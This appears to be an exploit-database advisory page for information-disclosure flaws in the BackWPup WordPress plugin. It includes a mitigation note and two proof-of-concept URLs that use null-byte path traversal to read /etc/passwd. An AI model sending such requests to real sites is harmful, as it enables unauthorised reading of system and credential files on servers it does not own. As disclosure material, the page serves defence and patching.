header-logo
Suggest Exploit
vendor:
BackWPup Plugin for WordPress
by:
5.5
CVSS
MEDIUM
Information Disclosure
200
CWE
Product Name: BackWPup Plugin for WordPress
Affected Version From:
Affected Version To:
Patch Exists: YES
Related CWE:
CPE: a:backwpup:backwpup
Metasploit:
Other Scripts:
Platforms Tested: WordPress

Multiple Information Disclosure Vulnerabilities in BackWPup Plugin for WordPress

The BackWPup plugin for WordPress is prone to multiple information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input. Attackers can exploit these issues to retrieve the contents of an arbitrary file. Information obtained may aid in launching further attacks.

Mitigation:

Update to the latest version of the BackWPup plugin.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/46610/info

The BackWPup plugin for WordPress is prone to multiple information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to retrieve the contents of an arbitrary file. Information obtained may aid in launching further attacks. 

http://www.example.com/wp-content/plugins/backwpup/app/options-runnow-iframe.php?wpabs=/etc/passwd%00&jobid=1

http://www.example.com/wp-content/plugins/backwpup/app/options-view_log-iframe.php?wpabs=/etc/passwd%00&logfile=/etc/passwd

Navigation

Suggest Exploit

Services By CQR